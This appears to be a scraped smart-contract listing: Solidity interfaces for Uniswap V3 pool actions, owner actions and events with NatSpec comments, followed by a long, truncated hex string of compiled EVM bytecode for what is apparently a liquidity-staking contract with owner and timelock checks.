data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); }
0x608060405234801561001057600080fd5b50600436106103ce5760003560e01c806384737029116101ff578063cc2abd641161011a578063e1ba95d2116100ad578063f2a8d3491161007c578063f2a8d3491461098b578063fce6fd1314610994578063fe082ada146109a6578063fff6cae9146109d657600080fd5b8063e1ba95d214610952578063e9f2838e1461095a578063f12f14471461096f578063f288baf61461098257600080fd5b8063d9f96e8d116100e9578063d9f96e8d146108e1578063da0f2ec014610917578063dc6663c71461092a578063e01f62bf1461094a57600080fd5b8063cc2abd64146108a9578063cdc82e80146108bc578063d42fc9b4146108c5578063d77258b3146108d857600080fd5b806396f66e6d11610192578063b3def2f511610161578063b3def2f514610871578063b94c4dcb14610879578063bbb781cc14610882578063bdacb3031461089657600080fd5b806396f66e6d1461080c5780639c5303eb146108195780639f43ae091461082c578063a2217bc51461086957600080fd5b806392ad4159116101ce57806392ad4159146107b25780639393bb7f146107d2578063941d9f65146107e65780639637927f146107f957600080fd5b8063847370291461073e5780638980f11f146107515780638bad86a7146107645780638da5cb5b1461079257600080fd5b8063386a9525116102ef57806360153c4d116102825780636e27cef9116102515780636e27cef91461070757806379ba509714610710578063807c48da14610718578063819d4cc61461072b57600080fd5b806360153c4d146106af57806364f2c060146106d95780636ce46bc3146106e15780636db49686146106f457600080fd5b806353a47bb7116102be57806353a47bb71461063f578063575959bf1461065f5780635e415e69146106725780635ea1e678146106a257600080fd5b8063386a9525146105b45780633d18b912146105bd5780634fd2b536146105c557806352732bc8146105d857600080fd5b80631c1f78eb11610367578063323331ca11610336578063323331ca1461050057806332d342b71461052657806336f89af214610539578063377be6511461056f57600080fd5b80631c1f78eb146104ca57806328ef934e146104d25780632c0c2a0a146104e55780632ca1a895146104f857600080fd5b80631627540c116103a35780631627540c14610489578063169d27ef1461049c57806317b18c89146104a45780631b3e870a146104b757600080fd5b80628cc262146103d357806291d2b8146103f95780630d7bac4f1461040e578063150b7a0214610421575b600080fd5b6103e66103e13660046151b2565b6109de565b6040519081526020015b60405180910390f35b61040c6104073660046151b2565b610a7e565b005b6103e661041c36600461545a565b610b6d565b61045861042f3660046151ce565b7f150b7a0200000000000000000000000000000000000000000000000000000000949350505050565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020016103f0565b61040c6104973660046151b2565b610bc6565b61040c610ce6565b61040c6104b23660046154b9565b610dd4565b61040c6104c53660046151b2565b610e5a565b6103e6610f49565b61040c6104e03660046152d3565b610f64565b6103e66104f33660046151b2565b6110a3565b6103e66111b7565b6023546105169065010000000000900460ff1681565b60405190151581526020016103f0565b61040c61053436600461545a565b611259565b6103e66105473660046151b2565b73ffffffffffffffffffffffffffffffffffffffff166000908152601d602052604090205490565b60145461058f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016103f0565b6103e6600c5481565b6103e6611351565b6103e66105d33660046151b2565b61144d565b61040c6105e63660046151b2565b33600090815260216020908152604080832073ffffffffffffffffffffffffffffffffffffffff9490941683529290522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b60015461058f9073ffffffffffffffffffffffffffffffffffffffff1681565b61040c61066d3660046152a8565b61146a565b60135461058f906c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1681565b6023546105169060ff1681565b6013546106c6906601000000000000900460020b81565b60405160029190910b81526020016103f0565b601b546103e6565b61040c6106ef3660046154fd565b6115a5565b61040c610702366004615528565b611806565b6103e6600f5481565b61040c61199c565b61040c6107263660046153d8565b611ae7565b61040c6107393660046152a8565b611c4f565b61040c61074c3660046154b9565b611e6d565b61040c61075f3660046152a8565b612053565b6107776107723660046151b2565b6121fb565b604080519384526020840192909252908201526060016103f0565b60005461058f9073ffffffffffffffffffffffffffffffffffffffff1681565b6107c56107c03660046151b2565b6123dc565b6040516103f09190615658565b6013546106c6906301000000900460020b81565b61040c6107f43660046151b2565b6124b1565b6023546105169062010000900460ff1681565b6013546106c69060020b81565b61040c6108273660046151b2565b6125a8565b6014546108549074010000000000000000000000000000000000000000900463ffffffff1681565b60405163ffffffff90911681526020016103f0565b61040c61269a565b6103e6612777565b6103e6600e5481565b602354610516906301000000900460ff1681565b61040c6108a43660046151b2565b612bba565b61040c6108b7366004615410565b612ca4565b6103e6600d5481565b6103e66108d33660046151b2565b612de4565b6103e6600b5481565b6103e66108ef3660046151b2565b73ffffffffffffffffffffffffffffffffffffffff166000908152601c602052604090205490565b61040c61092536600461548a565b612f82565b60085461058f9073ffffffffffffffffffffffffffffffffffffffff1681565b601a546103e6565b61040c613038565b60235461051690640100000000900460ff1681565b61040c61097d3660046151b2565b613116565b6103e660115481565b6103e660105481565b60235461051690610100900460ff1681565b6013546109c2906901000000000000000000900462ffffff1681565b60405162ffffff90911681526020016103f0565b61040c613201565b6000806109e961323e565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260176020908152604080832054601690925290912054919250610a7791610a7190670de0b6b3a764000090610a6b90610a3f908790613299565b73ffffffffffffffffffffffffffffffffffffffff89166000908152601d6020526040902054906132db565b90613390565b906133d2565b9392505050565b60005473ffffffffffffffffffffffffffffffffffffffff16331480610abb575060085473ffffffffffffffffffffffffffffffffffffffff1633145b610b26576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b000000000000000000000060448201526064015b60405180910390fd5b600580547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600080610baf610ba0600e54610a6b610b99670de0b6b3a7640000600d5461329990919063ffffffff16565b87906132db565b670de0b6b3a7640000906133d2565b9050600d54811115610bc05750600d545b92915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c6d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4f6e6c792074686520636f6e7472616374206f776e6572206d6179207065726660448201527f6f726d207468697320616374696f6e00000000000000000000000000000000006064820152608401610b1d565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83169081179091556040519081527f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229060200160405180910390a150565b60005473ffffffffffffffffffffffffffffffffffffffff16331480610d23575060085473ffffffffffffffffffffffffffffffffffffffff1633145b610d89576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b42600a819055600c54610d9c91906133d2565b600955610da96001611ae7565b6040517fb5cfe3ccd03847076864f081609024cbc2eb98c38da4d8b2cebe9479a9a1ef3790600090a1565b600280541415610e40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610b1d565b60028055610e51338084844261344b565b50506001600255565b60005473ffffffffffffffffffffffffffffffffffffffff16331480610e97575060085473ffffffffffffffffffffffffffffffffffffffff1633145b610efd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b73ffffffffffffffffffffffffffffffffffffffff166000908152601f6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b6000610f5f600c54610f596111b7565b906132db565b905090565b60235460ff610100909104161515600114610fdb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4e6f7420696e206d6967726174696f6e000000000000000000000000000000006044820152606401610b1d565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260216020908152604080832033845290915290205460ff16801561102a5750336000908152601f602052604090205460ff165b611090576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4d69677261746f7220696e76616c6964206f7220756e617070726f76656400006044820152606401610b1d565b61109d843385858561344b565b50505050565b6000806110af8361144d565b905080156111ae576003546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152600092611170928592610a6b92670de0b6b3a7640000929116906370a082319060240160206040518083038186803b15801561113857600080fd5b505afa15801561114c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f599190615472565b90506000611195670de0b6b3a7640000610a6b601154856132db90919063ffffffff16565b90506011548111156111a657506011545b949350505050565b50600092915050565b60055460009073ffffffffffffffffffffffffffffffffffffffff161561125257610f5f670de0b6b3a7640000610a6b601854600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630a3be7576040518163ffffffff1660e01b815260040160206040518083038186803b15801561113857600080fd5b50600b5490565b6002805414156112c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610b1d565b60028055602354640100000000900460ff161561133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f5769746864726177616c732070617573656400000000000000000000000000006044820152606401610b1d565b611349333383613930565b506001600255565b60006002805414156113bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610b1d565b6002805560235465010000000000900460ff1615611439576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f5265776172647320636f6c6c656374696f6e20706175736564000000000000006044820152606401610b1d565b6114433333613e39565b9050600160025590565b6000610bc0670de0b6b3a7640000610a6b601054610f5986612de4565b60235460ff6101009091041615156001146114e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4e6f7420696e206d6967726174696f6e000000000000000000000000000000006044820152606401610b1d565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260216020908152604080832033845290915290205460ff1680156115305750336000908152601f602052604090205460ff165b611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4d69677261746f7220696e76616c6964206f7220756e617070726f76656400006044820152606401610b1d565b6115a1823383613930565b5050565b60005473ffffffffffffffffffffffffffffffffffffffff163314806115e2575060085473ffffffffffffffffffffffffffffffffffffffff1633145b611648576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b670de0b6b3a76400008310156116df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f4d756c74206d757374206265203e3d204d554c5449504c4945525f505245434960448201527f53494f4e000000000000000000000000000000000000000000000000000000006064820152608401610b1d565b60008111611749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f766546585320706374206d6178206d757374206265203e3d20300000000000006044820152606401610b1d565b600d839055601182905560108190556040518281527fc9d56ccdd6b954d8d74700db074cc667054f8e33c1b8d23e97021d4c588a87619060200160405180910390a17f56a7f617180f6beea050b873366dccd22ab6564e9a4c921b9be53a4af4e9bcc8600d546040516117be91815260200190565b60405180910390a17fce426dd9202a2e5a80566b295160d3891cadf200ec0b6a326ce9894fe7f260306010546040516117f991815260200190565b60405180910390a1505050565b60005473ffffffffffffffffffffffffffffffffffffffff16331480611843575060085473ffffffffffffffffffffffffffffffffffffffff1633145b6118a9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b610e108263ffffffff16111561191b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f5457415020746f6f206c6f6e67000000000000000000000000000000000000006044820152606401610b1d565b6014805463ffffffff90931674010000000000000000000000000000000000000000027fffffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffff90931692909217909155602380549115157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909216919091179055565b60015473ffffffffffffffffffffffffffffffffffffffff163314611a43576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f596f75206d757374206265206e6f6d696e61746564206265666f726520796f7560448201527f2063616e20616363657074206f776e65727368697000000000000000000000006064820152608401610b1d565b6000546001546040805173ffffffffffffffffffffffffffffffffffffffff93841681529290911660208301527fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c910160405180910390a160018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b8080611af4575060195442115b15611c4c576005546040517f6472eee100000000000000000000000000000000000000000000000000000000815230600482015242602482015273ffffffffffffffffffffffffffffffffffffffff90911690636472eee190604401602060405180830381600087803b158015611b6a57600080fd5b505af1158015611b7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba29190615472565b601855600554604080517f513872bd000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9092169163513872bd91600480820192602092909190829003018186803b158015611c1057600080fd5b505afa158015611c24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c489190615472565b6019555b50565b60005473ffffffffffffffffffffffffffffffffffffffff16331480611c8c575060085473ffffffffffffffffffffffffffffffffffffffff1633145b611cf2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b602354610100900460ff16611d865760065473ffffffffffffffffffffffffffffffffffffffff83811691161415611d86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4e6f7420696e206d6967726174696f6e000000000000000000000000000000006044820152606401610b1d565b6000546040517f42842e0e00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff918216602482015260448101839052908316906342842e0e90606401600060405180830381600087803b158015611e0057600080fd5b505af1158015611e14573d6000803e3d6000fd5b50506040805173ffffffffffffffffffffffffffffffffffffffff86168152602081018590527f57519b6a0997d7d44511836bcee0a36871aa79d445816f6c464abb0cd9d3f3e893500190505b60405180910390a15050565b60005473ffffffffffffffffffffffffffffffffffffffff16331480611eaa575060085473ffffffffffffffffffffffffffffffffffffffff1633145b611f10576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b6001821015611f7b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4d756c206d61782074696d65206d757374206265203e3d2031000000000000006044820152606401610b1d565b6001811015611fe6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4d756c206d696e2074696d65206d757374206265203e3d2031000000000000006044820152606401610b1d565b600e829055600f8190556040518281527f74fa102aff6c8f2f6340638f052d9364a1c84bbe95ef31eed189e87e357551da9060200160405180910390a16040518181527f53f6493eec470b97db35629d432373ea4232ee1505f5ff961b2ece5b5d92b81390602001611e61565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612090575060085473ffffffffffffffffffffffffffffffffffffffff1633145b6120f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b602354610100900460ff1661218a5760065473ffffffffffffffffffffffffffffffffffffffff8381169116141561218a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4e6f7420696e206d6967726174696f6e000000000000000000000000000000006044820152606401610b1d565b6000546121af90839073ffffffffffffffffffffffffffffffffffffffff16836141a1565b6040805173ffffffffffffffffffffffffffffffffffffffff84168152602081018390527f55350610fe57096d8c0ffa30beede987326bccfcb0b4415804164d0dd50ce8b19101611e61565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601d6020526040812054908061222c846110a3565b73ffffffffffffffffffffffffffffffffffffffff85166000908152601260205260408120549193509061226890600290610a6b9086906133d2565b90506000915060005b73ffffffffffffffffffffffffffffffffffffffff86166000908152601e60205260409020548110156123d35773ffffffffffffffffffffffffffffffffffffffff86166000908152601e602052604081208054839081106122fc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e0810182526006909302909101805483526001810154938301939093526002808401549183019190915260038301546060830181905260048401546080840181905260059094015480830b830b830b60a085015263010000009004820b820b90910b60c083015290925042106123875750670de0b6b3a76400005b602082015160006123ae670de0b6b3a7640000610a6b6123a7868a6133d2565b85906132db565b90506123ba87826133d2565b96505050505080806123cb90615b27565b915050612271565b50509193909250565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601e60209081526040808320805482518185028101850190935280835260609492939192909184015b828210156124a65760008481526020908190206040805160e08101825260068602909201805483526001808201548486015260028083015493850193909352600382015460608501526004820154608085015260059091015480830b830b830b60a085015263010000009004820b820b90910b60c08301529083529092019101612421565b505050509050919050565b60005473ffffffffffffffffffffffffffffffffffffffff163314806124ee575060085473ffffffffffffffffffffffffffffffffffffffff1633145b612554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b73ffffffffffffffffffffffffffffffffffffffff16600090815260226020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00811660ff90911615179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314806125e5575060085473ffffffffffffffffffffffffffffffffffffffff1633145b61264b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b73ffffffffffffffffffffffffffffffffffffffff166000908152601f6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314806126d7575060085473ffffffffffffffffffffffffffffffffffffffff1633145b61273d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b602380547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff81166101009182900460ff1615909102179055565b60235460009060ff16156127925750670de0b6b3a764000090565b60408051600280825260608201835260009260208301908036833701905050905060148054906101000a900463ffffffff16816000815181106127fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019063ffffffff16908163ffffffff1681525050600081600181518110612854577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b63ffffffff909216602092830291909101909101526007546040517f883bdbfd00000000000000000000000000000000000000000000000000000000815260009173ffffffffffffffffffffffffffffffffffffffff169063883bdbfd906128c09085906004016156e4565b60006040518083038186803b1580156128d857600080fd5b505afa1580156128ec573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052612932919081019061530d565b509050600060148054906101000a900463ffffffff1660030b82600081518110612985577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151836001815181106129c7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516129d99190615a52565b6129e39190615872565b601354909150600290810b810b9082900b13612a03576000935050505090565b60135463010000009004600290810b810b9082900b12612a27576000935050505090565b6000601360069054906101000a900460020b60020b8260020b13612a9e57601354612a6390600281810b9166010000000000009004900b6159ef565b601354600291820b91612a7891900b846159ef565b612a8d9060020b670de0b6b3a76400006158fa565b612a97919061580a565b9050612b03565b601354612ac39066010000000000008104600290810b9163010000009004900b6159ef565b60020b82601360039054906101000a900460020b612ae191906159ef565b612af69060020b670de0b6b3a76400006158fa565b612b00919061580a565b90505b6000811215612b3d57612b36817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6158fa565b9450612b41565b8094505b670de0b6b3a7640000851115612bb3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f456d697373696f6e20666163746f7220746f6f206869676800000000000000006044820152606401610b1d565b5050505090565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612bf7575060085473ffffffffffffffffffffffffffffffffffffffff1633145b612c5d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b600880547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612ce1575060085473ffffffffffffffffffffffffffffffffffffffff1633145b612d47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b6023805491151565010000000000027fffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffffffff931515640100000000027fffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffffff951515630100000002959095167fffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffff909316929092179390931791909116179055565b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c08101829052819060005b73ffffffffffffffffffffffffffffffffffffffff85166000908152601e6020526040902054811015612f765773ffffffffffffffffffffffffffffffffffffffff85166000908152601e60205260409020805482908110612eac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e08101825260069093029091018054835260018101549383018490526002808201549284019290925260038101546060840152600481015460808401526005015480820b820b820b60a084015263010000009004810b810b900b60c082015292508015612f63576000612f328460a00151614311565b90506000612f438560c00151614311565b9050612f5e612f57838388602001516147a3565b87906133d2565b955050505b5080612f6e81615b27565b915050612e21565b506111a6826002613390565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612fbf575060085473ffffffffffffffffffffffffffffffffffffffff1633145b613025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b600b82905580156115a1576115a1613201565b60005473ffffffffffffffffffffffffffffffffffffffff16331480613075575060085473ffffffffffffffffffffffffffffffffffffffff1633145b6130db576040517f08c379a0000000000000000000000000000000000000